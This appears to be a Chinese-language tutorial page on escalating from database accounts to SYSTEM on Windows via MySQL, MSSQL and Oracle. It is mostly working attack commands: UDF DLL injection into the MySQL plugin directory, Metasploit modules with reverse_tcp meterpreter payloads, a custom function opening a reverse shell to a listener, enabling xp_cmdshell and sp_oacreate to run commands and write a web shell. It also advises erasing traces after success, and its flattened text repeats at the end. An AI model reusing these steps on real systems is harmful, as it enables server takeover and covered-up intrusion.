Windows提权—数据库提权-mysql提权&mssql提权&Oracle数据库提权
字数 1073 2025-08-18 17:33:11

Windows数据库提权技术详解

一、MySQL提权技术

1.1 UDF提权

基本概念

UDF(User-Defined Function)是MySQL的扩展接口,用于扩展MySQL功能。通过UDF文件定义新函数,可以将MySQL账号root权限提升为系统system权限。

前提条件

  • MySQL版本大于5.1:UDF.dll必须放在MySQL安装目录的lib\plugin文件夹下
  • MySQL版本小于5.1:
    • Windows Server 2003:放在c:\windows\system32目录
    • Windows Server 2000:放在c:\winnt\system32目录
  • 拥有MySQL数据库的insert和delete权限
  • 知道root账号密码

关键配置检查

select version();        # 获取数据库版本
select user();           # 获取数据库用户
select @@basedir;        # 获取数据库安装目录
show variables like '%plugin%';  # 查看plugin路径
show global variables like 'secure%';  # 检查secure_file_priv值是否为空

操作方法一:MSF自动化UDF提权

  1. 修改my.ini添加secure_file_priv = ' '
  2. 开启数据库外连:
    use mysql;
    grant all privileges on *.* to root@'%' identified by '密码';
    flush privileges;
    
  3. 使用MSF模块:
    use exploit/multi/mysql/mysql_udf_payload
    set payload windows/meterpreter/reverse_tcp
    set password 数据库密码
    set rhosts 目标IP
    run
    
  4. 验证并执行命令:
    select * from func;  # 查看dll是否导入成功
    create function sys_eval returns string soname 'xxxx.dll';
    select sys_eval('whoami');
    

操作方法二:手工导出sqlmap中的dll

  1. 解码sqlmap中的dll:
    python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll
    
  2. 处理并导入dll:
    SELECT HEX(LOAD_FILE('c:/udf.dll')) INTO DUMPFILE 'c:/udf.txt';
    create table udftmp (udf LONGBLOB);
    INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));
    SELECT udf from udftmp INTO DUMPFILE "插件路径/udf.dll";
    
  3. 创建函数并执行命令:
    create function cmdshell returns string soname 'udf.dll';
    select cmdshell('whoami');
    

操作方法三:使用暗月moon.php

  1. 上传moon.php并获取MySQL信息
  2. 导出udf并创建函数执行命令

1.2 MOF提权

原理

利用MySQL的root权限执行上传的mof文件,该文件包含添加管理员用户的VBS脚本。

条件

  • Windows 2003及以下版本
  • MySQL启动身份有读写c:/windows/system32/wbem/mof目录权限
  • secure-file-priv参数不为null

MSF模块使用

use exploit/windows/mysql/mysql_mof
set password 数据库密码
set username 数据库账号
set rhost 目标IP
run

1.3 启动项提权

MSF模块使用

use exploit/windows/mysql/mysql_start_up
set payload windows/meterpreter/reverse_tcp
set rhost 目标IP
set username 数据库账号
set password 数据库密码
exploit

1.4 反弹shell

通过将dll文件以十六进制编码形式写入数据库,创建函数执行反弹shell:

set @a=concat('',0x4d5a...);  # 十六进制dll内容
create table Ghost(data LONGBLOB);
insert into Ghost values("");
update Ghost set data = @a;
select data from Ghost into DUMPFILE '插件路径/McSpUhxS1.dll';
create function backshell returns string soname 'McSpUhxS1.dll';
select backshell('监听端IP',监听端口);

二、MSSQL提权技术

2.1 权限划分

  • sa(System Administrator):最高权限
  • dbo(Database Owner):数据库所有者权限
  • guest:有限权限
  • public:基本访问权限

2.2 xp_cmdshell提权

检查状态

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

启用xp_cmdshell

exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

执行命令

EXEC master.dbo.xp_cmdshell 'whoami'

写文件

exec xp_cmdshell 'echo shell>c:\www\1.php'

2.3 sp_oacreate提权

启用组件

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

执行命令

declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

三、Oracle提权技术

可直接使用专用工具进行提权操作,如:

  • Oracle提权工具包
  • Metasploit相关模块

注意事项

  1. 所有操作前应先进行充分的信息收集
  2. 提权成功后应及时清除痕迹
  3. 不同数据库版本可能有差异,需针对性调整方法
  4. 生产环境未经授权进行提权测试属于违法行为
Windows数据库提权技术详解 一、MySQL提权技术 1.1 UDF提权 基本概念 UDF(User-Defined Function)是MySQL的扩展接口,用于扩展MySQL功能。通过UDF文件定义新函数,可以将MySQL账号root权限提升为系统system权限。 前提条件 MySQL版本大于5.1:UDF.dll必须放在MySQL安装目录的lib\plugin文件夹下 MySQL版本小于5.1: Windows Server 2003:放在c:\windows\system32目录 Windows Server 2000:放在c:\winnt\system32目录 拥有MySQL数据库的insert和delete权限 知道root账号密码 关键配置检查 操作方法一:MSF自动化UDF提权 修改my.ini添加 secure_file_priv = ' ' 开启数据库外连: 使用MSF模块: 验证并执行命令: 操作方法二:手工导出sqlmap中的dll 解码sqlmap中的dll: 处理并导入dll: 创建函数并执行命令: 操作方法三:使用暗月moon.php 上传moon.php并获取MySQL信息 导出udf并创建函数执行命令 1.2 MOF提权 原理 利用MySQL的root权限执行上传的mof文件,该文件包含添加管理员用户的VBS脚本。 条件 Windows 2003及以下版本 MySQL启动身份有读写c:/windows/system32/wbem/mof目录权限 secure-file-priv参数不为null MSF模块使用 1.3 启动项提权 MSF模块使用 1.4 反弹shell 通过将dll文件以十六进制编码形式写入数据库,创建函数执行反弹shell: 二、MSSQL提权技术 2.1 权限划分 sa(System Administrator):最高权限 dbo(Database Owner):数据库所有者权限 guest:有限权限 public:基本访问权限 2.2 xp_ cmdshell提权 检查状态 启用xp_ cmdshell 执行命令 写文件 2.3 sp_ oacreate提权 启用组件 执行命令 三、Oracle提权技术 可直接使用专用工具进行提权操作,如: Oracle提权工具包 Metasploit相关模块 注意事项 所有操作前应先进行充分的信息收集 提权成功后应及时清除痕迹 不同数据库版本可能有差异,需针对性调整方法 生产环境未经授权进行提权测试属于违法行为